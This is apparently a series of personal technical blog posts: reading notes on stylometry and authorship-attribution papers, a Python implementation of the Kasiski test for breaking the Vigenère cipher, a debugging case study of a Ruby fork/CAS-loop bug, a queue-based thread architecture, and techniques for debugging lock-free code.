The Delta between to documents is then the Manhattan distance between their two vectors.

Interesting reading.

Survey Papers

A Framework for Authorship Identification of Online Messages: Writing-Style Features and Classification Techniques

⊕ Authors: Rong Zheng, Jiexun Li, Hsinchun Chen, and Zan Huang

New York University, University of Arizona

“key-word-based features are widely accepted to be ineffective in author identification in multiple- topic corpora” But there are exception if the content-words denotes a particular knowledge about a topic that could be correlated with the author.

An example of this is the “Walewein” paper where the 100-150 most common words which are principally composed of content-words were able to distinguish the two authors of a text while the 1-50 most common words, principally function-words, were able to detect the scribes that also modified the text.

The paper summarizes the features used by several papers (2006):

lexical: average word/sentence length, vocabulary richness
syntactic: freq of words, use of punctuation
structural: paragraph length, indentation, greeting/farewell statements
content-specific: freq of keywords

The structural seems very interesting. Opening phrases (like “In my opinion I …”) could be very characteristic of the author. The use of listing (the ones that begin with '-' or '*') also.

Table 3 describes more of these in details.

“Structural features and content-specific features showed particular discriminating capabilities for authorship identification on online messages. SVM and neural networks outperformed C4.5 and neural networks significantly for the authorship-identification task.”

Most of the cited papers analyze very small set of documents (~80) and a very small set of authors (~4).

Some exceptions have 300 or even 1200 documents and 7, 10 and 45 authors.

Quite small

“Content-specific features improved the performance of the three classifiers signifi- cantly for the English datasets […] e.g., some people preferred check as a payment method; some people mostly sell Microsoft products).”

I don’t think that this is true in general (like a characteristic of the author). The dataset used in the paper has a very broad topic so it is possible that some people wrote only about a sub topic and other people about another hence having the discriminant.

Very good paper to read it again.

A Prototype for Authorship Attribution Studies

⊕ Authors: Patrick Juola, John Sofko, Patrick Brennan

Duquesne University

A survey of the current state of the art. It points to some other resources and shows some results but nothing concrete.

The authors proposes a three-phases “framework” to develop/research stylometrics: canonization, determination of the event set and statistical inference.

In short: extract text from the media, remove spurious noise and apply other kind of filtering/normalization (canonization); from there select the features to analyze and possible eliminate uninteresting events (determination) and finally perform a machine learning technique (inference).

A current practice these days.

The Java Graphical Authorship Attribution Program or JGAAP program is mentioned.

A substantial part of the paper focus in uninteresting parts of JGAAP like the Graphical User Interface (GUI), saving/loading files and high level code description.

More Theoretical-like Papers

Computational Constancy Measures of TextsYule’s K and Rényi’s Entropy

⊕ Authors: Kumiko Tanaka-Ishii, Shunsuke Aihara

Kyushu University, JST-PRESTO, Gunosy Inc.

“A constancy measure for a natural language text is […] a computational measure that converges to a value for a certain amount of text and remains invariant for any larger size […], its value could be considered as a text characteristic.”

Yule’s K is defined as

$$ K = C \left( -\frac{1}{N} + \sum_{i = 1}^{imax} V(i,N) \left( \frac{i}{N} \right)^2 \right) $$

where $N$ is the total number of words in the text, $V(N)$ the number of distinct words, $V(i,N)$ the number of words that appear $i$ times and $imax$ the largest frequency of a word.

We could use $N$ as $imax$ because for the $i$ that $imax < i <= N$ the value of $V(i,N)$ is zero but using $imax$ directly is faster.

The constant $C$ was defined by Yule to $10^4$.

Golcher’s V is defines as $k/N$ where $N$ is the length of the string and $k$ the number of inner nodes of a Patricia suffix tree of the text.

The paper describes other metrics including $H_a$, the Renyi Entropy, a generalization of the Shannon entropy defined as:

$$ H_a(X) = \frac{1}{1-a} \textrm{log} \left( \sum_{\forall X} P(X)^a \right) $$

Where $a ≥ 0$, $a ≠ 1$, $P(X)$ the probability function of $X$.

When $a = 0$, it reduces to $H_0(X) = 1 \textrm{log} \left( \sum_{\forall X} 1 \right)$, then $H_0(X) = \textrm{log} ( |X| )$ (aka indicates the number of distinct occurrences of $X$)

When a approximates to 1 (limit), $H$ reduces to Shannon entropy.

For $H_2(X)$ the authors shown that “[$H_2$] immediately shows the essential equivalence to Yule’s K”

The authors shown empirically that $H_2$ converges to a value for texts of between $10^2$ and $10^4$ words/characters depending of $H_2$ was defined for words or characters respectively.

The authors also shown that $H_2$ is not a good discriminant for authorship: “Examining the nature of the convergent values revealed that K does not possess the discriminatory power of author identification as Yule had hoped.”

$H_2$ or Yule’s Y converges fast so it could be applied to short terms. Defined as it was in the paper (for words and characters) it will not work for authorship attribution but it may work under a different feature set (input) instead of words/characters.

Cross-entropy and linguistic typology

⊕ Authors: Patrick Juola

University of Oxford

Describes briefly the application of the cross-entroy for language categorization.

“Cross-entropy appears to be a meaningful and easy to measure method of determining”linguistic distance” that is more sensitive to variances in lexical choice, word usage, style, and syntax than conventional methods.”

Understanding and explaining Delta measures for authorship attribution

⊕ Authors: Stefan Evert, Thomas Proisl, Fotis Jannidis, Isabella Reger, Steffen Pielström, Christof Schöch and Thorsten Vitt

Friedrich-Alexander-Universität Erlangen-Nürnberg and Julius-Maximilians-Universität Würzburg

Describes and analyzes Burrows’ Delta distance based on the Manhattan distance and different variations of it including Euclidean, Linear and Cosine distances.

A paper to review later if required.

Good but no so good papers

Who’s At The Keyboard? Authorship Attribution in Digital Evidence Investigations

⊕ Authors: Carole E. Chaski.

Institute for Linguistic Evidence, Inc

The paper presents the results of some other researches. The one that scored the highest authorship attribution was:

“counting particular errors or idiosyncrasies and inputting this into a statistical classification procedure … supported vector machines (SVM) and C4.5 analysis”

The paper names these as “stylemarkers”.

For stylometrics, the paper mentions references to other papers where they used “word length, phrase length, sentence length, vocabulary frequency, distribution of words of different lengths” as features and SVM (with accuracy that oscillated between 46% and 100%), discriminant function analysis (accuracy between 87% and 89%) and using neural networks (accuracy 84%).

The dataset for the paper consisted on several writings from several authors about 10 different topics.

While the paper takes into consideration some biases like age and gender the 10 topics are to my opinion biased to “personal topics”.

“Describe a traumatic or terrifying event in your life and how you overcame it.” is an example.

The paper uses the ALIAS software and restricts the analysis of the samples to only “punctuation, syntactic and lexical” features.

The punctuation consists of counting the placement of the punctuation marks: at the end of clause (EOC), at the end of phrase (EOP) and in the middle of a word (like the dash in “re-invent” or the apostrophe in “don’”)

The author claims that this is “slighter better performance” than the counting of the punctuation mark alone where the placement is ignored.

The syntactic structures refers to the way that a “common” construction deviates to an “uncommon” construction.

The “common/uncommon” are named “unmarked/marked” constructions. This is the technical name and “common/uncommon” are the names that I gave them due my lack of expertise in the topic.

A “common” (unmarked) construction could be “how old are you?”. In English we could say “old” and “young” but it is very common to use “old” for some reason. The “uncommon” (marked) would be “how young are you?”.

The “common/uncommon” does not limit to words but to phrases as well, no only in literal phrases but in the syntax of these.

“the white house” follows the <adjetive> <noun> “common” pattern.

While it is clear that these “common/uncommon” feature could spot non-native writers, it is not very clear to me how to use it for authorship attribution in general.

Perhaps seeing repetitive patterns in the “uncommon” parts of a phrase? Like “the big white house” and “the white big house”: the order of the adjetives may leave a fingerprint of the author.

The last feature is lexical features (word lengths, and stuff like that). The paper distinguishes between functional and content words but use both.

These features (punctuation, syntactic and lexical) are extracted using ALIAS. Sadly it is a paid, closed source software (done by the author of the paper) and the dataset seems to be closed too.

For the “machine learning” part, the paper used linear discriminant function analysis (DFA).

Determination of writing styles to detect similarities in digital documents

⊕ Authors: Yohandri Ril Gil, Yuniet del Carmen Toll Palma, Eddy Fonseca Lahens

University of Information Sciences, Havana

The paper describes a stylometric mathematical model:

frequency of stop words: articles, prepositions, adverbs and conjunctions.
level of difficulty: what’s the education level required to understand the text. It uses the Flesch-Kincaid index (English only).
richness of vocabulary
mean sentence length
mean word length

The authors claim that “The proposed method for determining writing styles can be used in a scenario where it is necessary to describe documents whose authorship has been validated.”

But the “discussion and conclusions” section talks more about the underlying motivation for a person to do plagiarism than about the model.

They also claim

“The extraction of the style vector marks the difference between authors, whether or not they cover the same topic. By applying the proposed mathematical model to a considerable set of documents, it was found that trends really do exist when it comes to drafting, and that such trends put a stamp of authenticity onto a document.”

In a personal opinion, I’m have my doubts about these statements based on the few numbers shown in the paper.

Stylometry-based Approach for Detecting Writing Style Changes in Literary Texts

⊕ Authors: Helena Gómez-Adorno, Juan-Pablo Posadas-Duran, Germán Rios-Toledo, Grigori Sidorov, Gerardo Sierra

Instituto Politécnico Nacional, Mexico; Universidad Nacional Autónoma de México, Mexico; Instituto Politécnico Nacional (IPN), Mexico; Centro Nacional de Investigación y Desarrollo Tecnológico, Mexico

The paper compares the performance of different algorithms (Logistic Regression and two implementation of Support Vector Machine) and different sets of features (statistics like mean, average of word length, sentences length, punctuation and stop words among others) to classify writings of different authors.

The Figure 1 of the paper shows that - using SVM over punctuation feature only yields a very good results. - using Logistic Regression as default for other combination of features yields very good results.

While those are interesting facts, there is no clear evidence of it (a very small corpus was used).

The paper shows that some authors’ styles are more sensible to some features and algorithms than others.

From a total of 6 authors:

“[Punctuation-based models] classified the writing stage of a work above 70% of the times for two authors […], [in the case of other two authors] the combination of phraseology-and punctuation-based features obtained the best performance. The combination of all types of features obtained the best performance for [the remaining two authors]”

It doesn’t look solid.

What kicked everything

Detecting deterring ghostwritten papers, best practices

⊕ Authors: David A. Tomar (Ed Dante)

It is what started this.

Classify the students paying for a ghost writer in three categories:

Non native language: students that they need to write an essay in a foreign language, let’s say English. The student knows that he/she will have more opportunities to succeed if the essay is written by a native English speaker.
Composition/Research deficient students: students that, while they can speak and write in the target language, they have hard time to write an essay or doing the homework.
Lazy students: they prefer to pay for a service instead of doing the work.

Detecting a ghost writer is hard and having solid proof of it is harder.

The best strategy is to disallow the possibility from the begin making the decision of hiring a ghost writer much expensive, riskier.

In-class writing: the students write during the class so it is hard for a ghost writer to be there
Multi-draft process: have a periodic review with the students and check the evolution of the essay/work.
Personalization of the subject matter: use topics that are more personal and can be bind to the author. That part is important, the subject must be bound to the student in some verificable way otherwise a ghost writer could just write a personal subject about him/her!
Original course materials: make the topic have something very unique. Don’t repeat yourself.

These should be combined and adapted to the particular class.

Having 1o1 meetings with the students randomly chosen to discuss the implementation details of a work makes the “multi-draft process” scalable.

Exit interviews (interviews that happen when the student does a final submission) are an example of that.

A very nice article to read.

Resources

NLTK’s punkt module: Punkt Sentence Tokenizer

“This tokenizer divides a text into a list of sentences by using an unsupervised algorithm to build a model for abbreviation words, collocations, and words that start sentences. It must be trained on a large collection of plaintext in the target language before it can be used.”

“The NLTK data package includes a pre-trained Punkt tokenizer for English.”

It is used to determine when a period marks the end of a sentence and when it doesn’t and things like that.

PDFMiner (community): parser for PDF files

Blog post that explains how to call R code from Python using the rpy2 module. In particular how to call the R package stylo from Python

Stylo: R package for stylometric analyses

JGAAP: Java Graphical Authorship Attribution Program is a tool to allow nonexperts to use cutting edge machine learning techniques on text attribution problems

NTLK: Natural Language Toolkit for Python

Stanza: A Python NLP Package for Many Human Languages

Weka: a toolset/framework for ML like skilearn but with a GUI. It is very interesting.

Nolds: Python package with algorithms to analyze random sequences (signals, market time series, text perhaps?)

Some other resources

Identifying Different Writing Styles in a Document Intrinsically Using Stylometric Analysis It is a single Python file with several metrics poorly documented. It could be useful to see the code for some cases because it has a lot of metrics, most of them mentioned in the paper of Zheng.

Turnitin: among other stuff, it has a plagiarism detection.

ALIAS is program developed by Carole E. Chaski for “lemmatizing, computing lexical frequency ranking, calculating lexical, sentential and text lengths, punctuation-edge counting, Part-Of-Speech-tagging (POS-tagging) , n-graph and n-gram sorting, and markedness subcategorizing”.

Sadly it is a paid, closed source software.

n-gram is used to denote the sequence of $n$ elements like words or POS tags while n-graph denotes sequences of $n$ characters.

Kasiski Test - Part I

2020-10-11T00:00:00+00:00

The tricky part of breaking the Vigenere cipher consists in finding the length of the key.

We discussed this in the breaking Vigenere post.

In that occasion we used the Hamming distance and the Index of Coincidence.

But another method existed much before the development of the IC around 1922.

In 1863, Kasiski published a method to guess the length of the secret key, method that we know today as the Kasiski test.

Let’s explore a $O(\vert s \vert)$ solution with a worst case of $O(\vert s \vert^2)$

The naive solution

The Kasiski test consists in finding repeated ngrams in the ciphertext and measure the distance between them.

If there are repeated ngram in the plaintext that were leaked in the ciphertext, that means that the secret key was also repeated exactly in that part.

                     repeated ngrams
                /----------/-----------/
    ptext:      69 63 65 20 69 63 65 20 62 61 62 79
    kstream:    73 6F 6E 67 73 6F 6E 67 73 6F 6E 67  (key = 73 6F 6E 67)
    ctext:      1A 0C 0B 47 1A 0C 0B 47 11 0E 0C 1E
                \----------\-----------\
                     repeated ngrams

⊕ It is perfectly possible to find repeated ngrams randomly, just by luck. Those are the “exceptions”.

I will talk about that in the second-part post.

With some exceptions, the distance between two repeated ngrams in the ciphertext must be then a multiple of the length of the key.

But for a particular ngram of length n, finding all the repeated ngrams requires scan the whole string, an effort of $O(\vert s \vert)$, proportional to the size of the input string.

Repeating the process for all the ngrams of length n yields $O(\vert s \vert^2)$.

And that’s only for n. Repeating everything again for the ngrams of length n+1, n+2 and so on blows up quickly to $O(\vert s \vert^3)$.

No no, we can improve this.

The strategy

`as_ngram_repeated_positions` algorithm

We build the list of all repeated ngrams of length n using hashing in $O(\vert s \vert)$ and not $O(\vert s \vert^2)$.

`merge_overlaping` algorithm

⊕ This is an example of dynamic programming. Take a look of Automating the Cracking of Simple Ciphers, by Matthew C. Berntsen for a similar idea. code

Then, we build the list of the repeated ngrams of length n+1 reusing the finding of the previous step.

This will require $O(g)$ where $g$ is the size of the list built in the previous step.

While $O(g) = O(\vert s \vert)$ in the worst case, it is expected to find very few repeated ngrams of length n so in the practice $O(g) \ll O(\vert s \vert)$.

`deltas_from_positions` algorithm

The distances between the ngrams found can also be found in $O(g)$.

The naive implementation would require $O(g^2)$ but we can improve it a little.

`frequency_of_deltas` algorithm (aka the main)

frequency_of_deltas will combine all the previous algorithms.

It can be done roughly in $O(\vert s \vert) + O(g^m)$ where $m$ is the count of iterations that we repeat merge_overlaping.

In the worst case, $O(g^m)$ behaves as $O(\vert s \vert^2)$ and frequency_of_deltas will be quadratic.

But as we said, we don’t expect to find many repeated ngrams so the term $O(g^m)$ will be negligible and frequency_of_deltas will remain linear.

We have the strategy, now we need the correct tools.

Data structures

We will use the following data structures:

dictionaries: with $O(1)$ for insertion or update of a key.
lists: with $O(1)$ for append and $O(n)$ for iteration.
default-dictionaries: like the dictionaries but with the handy shortcut to create and add an entry in the dictionary if the key requested is not present.

Python is not the fastest language but it has all the tools needed.

Let’s start!

Repeating ngram list - `as_ngram_repeated_positions` algorithm

We are interested in to find all the positions of every single repeated ngram in the text.

Focus only on the ngrams of 2 characters for now.

⊕

We need to count how many instances of the same ngram are, so we can know which are unique; and we need to track their position, so we can later know the distance between them.

Storing every ngram instance in memory is expensive (for a 2 characters ngram you will have to store twice the source string).

A simple solution is to use an id: different ngrams will have different ids while the instances of the same ngram will have the same id.

The following Python fragment summarizes the above:

# input: s, the original text
id_of_ngram = {0:0}
pos_sorted = []
ngram_cnt_by_id = defaultdict(int)
ngram_cnt_by_id[0] = 0 # id==0 is reserved for deletions, see later
for pos, ngram in enumerate(s.ngrams(2)):
    id = id_of_ngram.setdefault(ngram, len(id_of_ngram))

    pos_sorted.append((pos, id))
    ngram_cnt_by_id[id] += 1

⊕ Input-size/time-taken relationship of as_ngram_repeated_positions. code

For a string of $\vert s \vert$ characters the algorithm generates a list of $\vert s \vert$ tuples. If chosen the data structures correctly, the algorithm runs in $O(\vert s \vert)$ (linear time and space).

One final step remains: once we have the list we need to filter out any unique ngram (those that have a counter of less than 2).

This is also linear.

pos_sorted = [(p, id) for p, id in pos_sorted
                      if ngram_cnt_by_id[id] > 1]

The final result is a list of tuples (position, id) with the positions of the ngrams and their identifiers sorted by their position.

The algorithm can be generalized to find all the non-unique ngrams of length n changing s.ngrams(2) to s.ngrams(n).

The trick is how to build the list of ngrams of n+1 length reusing the ngrams of length n found by the above algorithm.

Superior ngram order - `merge_overlaping` algorithm

The idea is that two ngrams g_1 and g_2 of n characters at positions p_1 and p_2 in the original string can be merged and build a ngram of n+1 bytes at p_1 if and only if p_1 + 1 == p_2.

In other words, they are consecutive.

A merged ngram not necessary means that it is a repeated ngram but we know that any repeated ngram will be a merged one.

id_of_ngram = {0:0}
ngram_cnt_by_id = defaultdict(int)
ngram_cnt_by_id[0] = 0
for ix, (cur, nex) in enumerate(zip(pos_sorted[:-1], pos_sorted[1:])):
    pcur, id = cur
    pnex, id2 = nex

    if pcur + 1 != pnex:
        pos_sorted[ix] = (0, 0) # delete later (index 0 is special)
    else:
        # the id of the merged ngram is formed by the ids of the
        # original pair of ngrams.
        id = id_of_ngram.setdefault((id, id2), len(id_of_ngram))

        pos_sorted[ix] = (pcur, id)   # new ngram
        ngram_cnt_by_id[id] += 1

# the last position P1 always is "deleted" because there is
# not P2 such P1 + 1 == P2 *and* P1 < P2 (basically because there
# are no more positions after P1)
pos_sorted[-1] = (0, 0)

During the scan we also count how many ngrams we built: unique ngrams are filtered later in linear time removing the false positives.

⊕ Input-size/time-taken relationship of merge_overlaping. code

pos_sorted = [(p, id) for p, id in pos_sorted
                      if ngram_cnt_by_id[id] > 1]

merge_overlaping is a linear operation in terms of the initial pos_sorted list not in terms of the length of the input strings.

In the practice this means that merge_overlaping – $O(g)$ – will be faster than as_ngram_repeated_positions – $O(\vert s \vert)$.

Computing the gaps - `deltas_from_positions` algorithm

Now that we have the position of each repeated ngram we want to calculate the distance between them.

We are interested in the distance between the same ngrams.

This is because we assume that the same repeated ngram in a ciphertext is due the encryption of the same plaintext and the repeating key of Vigenere was aligned.

The distance should be then a multiple of the length of the key.

⊕

# group first
pos_grouped = defaultdict(list)
for pos, id in pos_sorted:
    pos_grouped[id].append(pos)

# compute the gaps later
delta_stats = Counter()
for positions in pos_grouped.values():
    d = (y-x for x, y in zip(positions[:-1], positions[1:]))
    delta_stats.update(Counter(d))

⊕

We simplify the maths and calculate then the difference between consecutive positions for a given ngram.

We assume that difference between non-consecutive values will yield a multiple of the previous shorter difference hence it will be also a multiple of the key length.

In other words, calculating the “multiple of the multiple” does not add any new information.

Frequency of deltas - `frequency_of_deltas` algorithm

Basically we put all the algorithms to work together:

res = []
pos_sorted = as_ngram_repeated_positions(s)
while pos_sorted:
    delta_stats = deltas_from_positions(pos_sorted)
    res.append(delta_stats)

    pos_sorted = merge_overlaping(pos_sorted)

Here are some examples using cryptonita

>>> from cryptonita import B
>>> from cryptonita.stats.kasiski import frequency_of_deltas

>>> s = B(b'ABCDBCDABCDBC')
>>> frequency_of_deltas(s)
[Counter({7: 3, 3: 1, 4: 1}), Counter({7: 3}), Counter({7: 2}), Counter({7: 1})]

>>> s = B('1A0C0B471A0C0B47110E0C1E', encoding=16)
>>> frequency_of_deltas(s)
[Counter({4: 2}), Counter({4: 1})]

In the last example the first Counter is for the ngrams 1A 0C 0B and 0C 0B 47 where found repeated at a distance of 4 once each one (2 in total). The second Counter is for 1A 0C 0B 47 repeated once at a distance of 4.

As predicted the expected effort is linear while the worst case is quadratic.

Expected case. frequency_of_deltas has a linear response when the size of the input increase linearly. code

Worst case. frequency_of_deltas has a quadratic response when the size of the input increase linearly. Even with this result, it is better than cubic the naive implementation. code

Final thoughts

With frequency_of_deltas we have the most likely difference or gap, gap that it should be a multiple of the length of the key.

But what if a repeated ngram happen just by luck?

That’s for the Part II.

References

Debug: the Case of a CPU Burning Ruby Process

2020-09-13T00:00:00+00:00

executor.rb is a little program that starts and finishes other programs based on the needs of the system.

It is expected to have one and only one executor.rb process running with little overhead.

In one of the machines in the lab I found the opposite: two executor.rb instances and one of them running at top speed, consuming 100% of CPU.

For the rest, the system was working properly so one of the executor.rb was doing its job.

But what was the “twin evil” process doing with the CPU?

Ruby stack sampling with `rbspy`

To get some insight I used rbspy. It profiles a Ruby process sampling its memory, reconstructing the stack and showing which stack traces are the most common executed.

$ sudo ./rbspy record --pid 2331 -d 120 --raw-file data.gz        # byexample: +skip

Two minutes of sampling was done for the good and the bad executor.rb processes.

rbspy can also generate flame graphs

$ ./rbspy report -f flamegraph -i data.gz  -o out-good.svg      # byexample: +skip

Flamegraph of 2 minutes sampling. On top a good behaving executor.rb, spending most of the time waiting (right side). On bottom, its evil twin with a totally broken call stack.

Unfortunately the call stack of the buggy process makes no sense.

Syscall tracing with `strace`

⊕ It would not be first time that I see a infinite loop calling read(fd, buf, 0)

I rollback to the traditional strace. It slows down quite a bit the debugged process but knowing which syscall is being executed can be of a great help.

$ sudo strace -tt -T -f -p 2331
<...>
[pid 2331] 16:45:05.676271 sched_yield() = 0 <0.000008>
[pid 2331] 16:45:05.676309 sched_yield() = 0 <0.000008>
[pid 2331] 16:45:05.676346 sched_yield() = 0 <0.000008>
[pid 2331] 16:45:05.676383 sched_yield() = 0 <0.000008>
[pid 2331] 16:45:05.676419 sched_yield() = 0 <0.000007>
<...>

sched_yield() is a syscall to “relinquish the CPU”.

The caller thread decides that it cannot make any useful so it tells the OS that it should be moved out of the CPU (move the thread from running to ready) so other threads can use it.

⊕ I talk a marginally about this in my other post

I found this syscall in the past to implement a neighbor-friendly busy wait loop. Something like this:

void wait() {
    while (some_condition()) {
        sched_yield();
    }
}

No code in executor.rb was doing such a thing however, I was still missing something.

C stack sampling with Linux `perf`

And Linux perf filled the blanks.

$ sudo perf top -p 2331                 # byexample: +skip
<...>
34.90%  [kernel]              [k] do_syscall_64
15.37%  [kernel]              [k] syscall_return_via_sysret
 9.08%  [unknown]             [k] 0xfffffe000000601e
 5.89%  [kernel]              [k] pvclock_clocksource_read
 5.06%  [kernel]              [k] __schedule
 2.52%  [kernel]              [k] __raw_callee_save___pv_queued_spin_unloc
 2.45%  libc-2.24.so          [.] __sched_yield
 2.21%  [kernel]              [k] _raw_spin_lock
 2.16%  [kernel]              [k] __entry_trampoline_start
 2.01%  libruby-2.3.so.2.3.0  [.] rb_thread_stop_timer_thread
 1.86%  [unknown]             [k] 0xfffffe0000006000
 1.61%  [kernel]              [k] cpuacct_charge
<...>

The rb_thread_stop_timer_thread is a function of the ruby virtual machine and it was my first suspect.

A search in google completed the story.

Finding the bug with Google and the Open Source Community

Bug reports here and here.

A counter is used for signaling between threads and CAS loop for detecting when it is zero yielding the CPU with sched_yield if the condition was not met yet.

native_stop_timer_thread(void) {
    <...>
    while (ATOMIC_CAS(timer_thread_pipe.writing, (rb_atomic_t)0, 0)) {
        native_thread_yield();
    }
    <...>
}

If a fork happen after one thread increments the counter but before someone decrements it, the child process will get stuck waiting for the counter to be zero.

This makes totally sense for executor.rb that main task is to fork and exec other processes.

But I need to be sure that this is the bug.

Confirming the bug with GDB

I attached gdb to ruby process and confirmed the bug.

$ sudo gdb -p 2331                      # byexample: +skip
<...>
0x0000<...> in sched_yield () from /lib/x86_64-linux-gnu/libc.so.6
<...>
(gdb) bt
#0  0x0000<...> in sched_yield () from/lib/x86_64-linux-gnu/libc.so.6
#1  0x0000<...> in native_stop_timer_thread () atthread_pthread.c
#2  rb_thread_stop_timer_thread () at thread.c
#3  0x0000<...> in before_exec_non_async_signal_safe () atprocess.c
#4  before_exec () at process.c
#5  rb_f_exec (argc=<optimized out>, argv=<optimized out>) atprocess.c
<...>
(gdb) frame 2
#2  rb_thread_stop_timer_thread () at thread.c
(gdb) p timer_thread_pipe
$1 = {normal = {3, 4}, low = {5, 6}, owner_process = 0, writing = 1}

With timer_thread_pipe.writing in 1, the CAS loop will never end.

Note that attaching a debugger is quite disruptive as it stops the debugged process; Linux perf and rbspy are much less intrusive and more appropriate for production environments.

Final thoughts

No single tool can always give you the answer and sometimes you need more than tools to solve the puzzle.

You are not alone. People is out there to help you.

But do not relay in google/stackoverflow only: without searching a little from your side generic queries like “ruby program consumes 100% CPU” will lead you to nowhere.

Reds and Blues Architecture

2020-09-09T00:00:00+00:00

Could we design an architecture that allows us to have insight about the performance of the system?

When you spend nights debugging searching where is the bottleneck, it is when you blame the you of the past for a so opaque and slow architecture.

This is the proposal of a simple architecture that allows introspection and enables – too many times forgotten – basic optimizations.

A case of study

Imagine that we need to accept requests from a client and forward them to a server.

The server will do the real job and it will return us the result of the operation that we will store in a database.

But the server is stateful and processing the same request twice will corrupt the server.

It is our job to filter the duplicates out.

For that we use the same database to query if the given task was already seen or if it is a novel one.

The following pseudo-code shows the proposed solution:

⊕ Original design: a little messy with IO mixed with CPU bounded code.

def main():
    req = client.receive_request()
    h = calculate_hash(req)

    if database.is_present(h):
        return # nothing else, drop duplicated

    database.create_new_request(h, req)

    res = server.process_request_and_get_result(req)
    database.save_result(h, res)

When we stress the code we found that it is just not fast enough.

The code uses different resources and all of them need to be up to the task.

Because there is no separation between them, it is hard to know where is the bottleneck.

Reds and Blues

We can refactor the code into several threads allowing each to interact with a single resource.

In particular we want to distinguish which threads do IO operations and which don’t.

The threads will communicate each other with queues.

The objective is not to run code concurrently to booster the speed but to make explicit the implicit.

And the queues will provide us that insight.

But first, this is the diagram of the refactored code:

Split the code into 5 threads connected with queues. From left to right, up to down: R, H, N, P and S.

Each thread and arrow is colored: reds for IO code and blues for CPU code.

Consider the queue between the thread that receives the requests (R) and the thread that calculates the hash of it (H).

If the queue starts to fill up that would mean that or we are receiving too many requests or that the hash is taking more than than expected.

The queue does not tell exactly where is the problem but cuts and reduces the search area.

Some other examples:

if the threads N’s and S’s queues are getting full, that may indicate a problem with the database. Slow queries? Slow disk?
if instead the thread P is the bottleneck, then the server is the problem. Slow network? Too chatty protocol? A server-side problem?

The queues

To make any insight the queues must track:

⊕ Metrics: in and out over time, plus drops and queue’s length. When two queues are connected, one of the metrics can be deduced from the other.

items pushed into the queue over time (throughput of the producer)
items popped from the queue over time (throughput of the consumer)
the occupancy of the queue (also known as the length of the queue)
items dropped due the queue was full

In a architecture where there are multiple queues, it is generally redundant to have a count of the items pushed and the items popped.

We could track only the items pushed and use that metric for the exit queue to estimate the items popped from the enter queue.

For example, if the thread H is pushing 10k items per second in the exit queue (that connects H with N), we can conclude that H is popping 10k items per seconds from its enter queue (that connects R with H).

⊕

For analyzing the performance Brendan Gregg’s USE method states that every resource must be characterized by three metrics:

utilization: average time that the resource was busy
saturation: degree of extra work that the resource didn’t handle, often queued
errors: well, that, errors, like drops.

There are two categories of resources that differ in the definition of utilization:

IO resources, like network, disk: the utilization is the amount of time that the resource was busy.
Capacity resources, like the memory: the utilization in this case is the amount of memory in use.

This is more generic way to analysis the performance of a system: using queues for statistics is a particular case.

But there is more…

Batch/Bulk for free

⊕ Each message requires an encapsulation header and a syscall to send it. Costs that you may per message; more messages means more you pay.

The explicit queues allows to delay the processing but in exchange they allow to process the items in batch or bulk operations.

A classic example would be the database: instead of querying each time we could query every 1k items doing a single bulk operation.

For example, we could save 1k results in a single operation.

This not only save bandwidth with the database but also IO operations.

⊕ Less is more. Also it enables specific per-bundle compression.

The communication with the server could be also improved. Instead of sending a request per work item, we could send them in packs: less messages going back and forward through the network it is always a good deal.

Less chatty communication means more time and space for the real data, a better channel utilization.

Asynchronous for free

And talking about network, sending a request and waiting for the response is incredible slow.

⊕ While a bulk calls amortize the cost per message, asynchronous calls make more use of the capacity of the network so you can send more in the same time.

We can send the requests asynchronously to the server without waiting for the responses, and receive them later.

This is perfectly possible because we put queues between who trigger the request (N) and who do something with the response (S).

The architecture supports asynchronous mechanisms out of the box.

Everything is violet

We categorized the threads in threads with high IO and threads with high CPU but it is important to highlight the fact that all the threads are running in the same machine with shared resources.

A CPU thread could end up doing a lot of IO because the system ran out of memory and it is swapping.

A IO thread that sends requests to the network may use a lot of CPU because the serialization of the request is expensive.

The queues provide insight but they must be taken as a complement of other metrics of the system.

At the end, everything is tainted with reds and blues.

Debugging Lock Free Algorithms

2020-05-16T00:00:00+00:00

Debugging multithread code is hard and lock free algorithms is harder.

What cleaver tricks can we use?

Back to the old good mutex

One simple strategy is to use a traditional mutex or other lock mechanisms to make our lock free code into something much easier to reason about.

Consider a lock free MPMC queue; making it thread safe with a mutex is plain simple:

uint32_t push(data, len) {
    mutex_lock(&mx);
    ...
    if (full)
        mutex_unlock(&mx);
        return 0;
    ...
    mutex_unlock(&mx);
    return n;
}

uint32_t pop(data, len) {
    mutex_lock(&mx);
    ...
    if (empty)
        mutex_unlock(&mx);
        return 0;
    ...
    mutex_unlock(&mx);
    return n;
}

⊕ Most? A mutex_lock/mutex_unlock pair works as an ACQUIRE/RELEASE pair: instructions from the critical section (CS) cannot be moved above the lock nor below the unlock but instructions outside of the CS can get into the CS moving from the upside below the lock and from the downside above the unlock

In short, some reorders are still possible: things before and after the CS can get in, things in the CS cannot get out.

What did we get? Most of the possible reorders and subtle race conditions are out.

If you still have a bug then it is more likely to be a classic bug like mistaking < by <= or a missing +1 somewhere –and trust me, you will make this kind of errors too.

Lightweight prints

⊕ A buffer of fixed size power of 2 with entries of fixed size simplify the implementation making it faster and less intrusive than a plain printf.

The idea is to have a global shared ring buffer for logs with multiple writers in mind.

To avoid race conditions among the writers, the index is incremented atomically before doing each write. This is another example of a reserve-and-then strategy.

trace(msg)  {
    uint32_t seq = __atomic_fetch_add(&tpos, 1, __ATOMIC_RELAXED);
    uint32_t pos = seq & tmask;

    tbuf[pos].id = thread_id();
    tbuf[pos].seq = seq;
    tbuf[pos].msg = msg;
}

In my previous post we saw that a write may not be visible to others until we need commit.

We don’t do this on purpose: if we add a kind of barrier/memory reorder we may be affecting the code under test and we may masking the bug.

⊕ (gdb) set print pretty on (gdb) p (tpos - 5) & tmask (gdb) p tbuf[$]@5

Pretty print the last 5 entries.

Anyways the buffer is not read ever –it is a multiple-writers zero-readers buffer. This idea is to read the buffer from a debugger in a synchronous way so we should not have any race condition.

What you read is not what it happen

Consider the following traced code:

trace("foo...");
foo();

You may think that the trace is enough to know when foo() is called.

You may read

thread 1: foo...
thread 2: foo...

but what happen actually was that thread 2 called foo() before the thread 1:

// thread 1                         // thread 2
trace("foo...");
                                    trace("foo...");
                                    foo();
foo();

Interleaving is possible, and no, you cannot use a mutex there.

⊕ thread 1: begin foo... thread 2: begin foo... thread 2: end foo... thread 1: end foo...

You may read this but…

Wrapping the code with two traces is a better alternative:

trace("begin foo");
foo();
trace("end foo");

However you still cannot know if thread 1 called foo() before or after the thread 2.

If trace() and foo() are inline, the compiler/CPU may see this:

tbuf[tpos++].msg = "begin foo";
foo_a;
foo_b;
tbuf[tpos++].msg = "end foo";

